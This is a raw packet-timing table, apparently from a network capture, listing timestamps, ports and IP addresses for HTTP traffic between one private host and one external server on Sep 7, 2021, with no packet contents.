Sep 7, 2021 16:02:56.093874931 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.093890905 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093900919 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.093914986 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093938112 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093941927 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.093961954 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093985081 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093987942 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094007015 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094012976 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094029903 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094053030 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094055891 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094075918 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094099045 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094101906 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094125032 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094130039 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094162941 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094172955 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094187021 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094209909 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094209909 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094232082 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094249964 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094255924 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094281912 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094290018 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094305992 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094327927 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094329119 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094352961 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094372034 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094376087 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094398975 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094402075 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094423056 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094440937 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094445944 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094470978 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094479084 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094495058 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094516993 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094521999 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094540119 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094562054 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094571114 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094584942 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094597101 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094608068 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094631910 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094634056 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094655991 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094680071 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094680071 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094702959 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094710112 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094724894 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094748974 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094753027 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094770908 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094794035 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094794989 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094816923 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094819069 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094846010 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094856977 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094866991 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094885111 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094902039 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094913006 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.094927073 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094949007 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094971895 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.094990969 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.095009089 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.095026970 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.095043898 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.095043898 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.095065117 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.095082998 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.095161915 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.102426052 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.102490902 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.102587938 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.102642059 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.102708101 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.102734089 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.102756977 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.102760077 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.102778912 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.102792978 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.102837086 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.102854013 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.102859974 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.102878094 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.102880955 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.102904081 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.102921963 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.102925062 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.102947950 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.102952957 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.102969885 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.102994919 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.103003025 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.103014946 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.103055954 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.116384983 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.118048906 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.157267094 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.157296896 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.157342911 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.157383919 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.160150051 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.160187006 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.160221100 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.160248995 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.160252094 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.160298109 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.160432100 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.160458088 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.160480022 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.160481930 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.160501957 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.160507917 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.160521984 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.160532951 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.160557985 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.160559893 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.160586119 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.160612106 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.160639048 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.160662889 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.160665989 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.160686970 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.160711050 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.160728931 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.160749912 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.160892963 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.160938025 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.160943985 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.161007881 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.161029100 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.161052942 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.161053896 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.161073923 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.161093950 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.161109924 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.161159039 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.161267996 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.161334991 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.161362886 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.161386013 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.161393881 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.161434889 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.161444902 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.161520958 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.161546946 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.161567926 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.161576033 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.161627054 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.161644936 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.161782026 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.161808014 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.161832094 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.161834002 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.161855936 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.161895990 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.161920071 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.161947012 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.161963940 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.161967993 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.161988020 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.161993027 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.162022114 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.162034988 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.162046909 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.162069082 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.162091970 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.162118912 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.162120104 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.162142992 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.162144899 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.162164927 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.162188053 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.162189007 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.162209988 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.162233114 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.162234068 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.162256956 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.162282944 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.162283897 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.162308931 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.162331104 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.162336111 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.162379026 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.166517973 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.166754961 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.166814089 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.167246103 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.167320967 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.167359114 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.167368889 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.167382002 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.167404890 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.167426109 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.167437077 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.167470932 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.167542934 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.167567968 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.167587996 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.167608976 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.167619944 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.167629957 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.167654037 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.167665958 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.167701960 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.182694912 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.221601009 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.221637011 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.221714973 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.224962950 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225006104 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225030899 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225055933 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225060940 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.225104094 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.225186110 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225243092 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225292921 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.225305080 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225332022 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225358009 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225382090 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225387096 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.225406885 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225425959 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.225435019 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225461960 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225486040 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225488901 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.225511074 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225534916 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225534916 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.225563049 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225580931 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.225588083 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225613117 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225636959 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.225687981 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225752115 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225752115 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.225780010 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225821018 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.225888968 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225917101 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225940943 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.225958109 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.225986958 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.226037025 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.226047039 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.226074934 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.226099014 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.226123095 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.226136923 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.226171017 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.226324081 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.226413965 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.226457119 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.226810932 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.226854086 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.226912975 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.226929903 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.226955891 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.226983070 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.227003098 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.227008104 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.227055073 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.227071047 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.227097988 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.227137089 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.227149010 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.227160931 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.227185965 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.227209091 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.227214098 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.227233887 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.227257967 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.227258921 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.227283955 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.227305889 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.227313042 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.227339029 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.227356911 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.227364063 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.227389097 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.227412939 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.227413893 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.227473974 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.227705002 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.227766037 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.227818012 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.229336023 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.231173038 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.231204987 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.231295109 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.231323957 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.231424093 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.231451035 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.231473923 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.231477976 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.231504917 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.231514931 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.231547117 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.231594086 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.231925964 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.231952906 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.231975079 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.231995106 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.231997013 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.232019901 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.232038975 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.232044935 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.232069016 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.232098103 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.274740934 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.286237001 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.286286116 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.286324024 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.289633036 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.289670944 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.289690971 CEST	80	49763	5.188.88.63	192.168.2.4
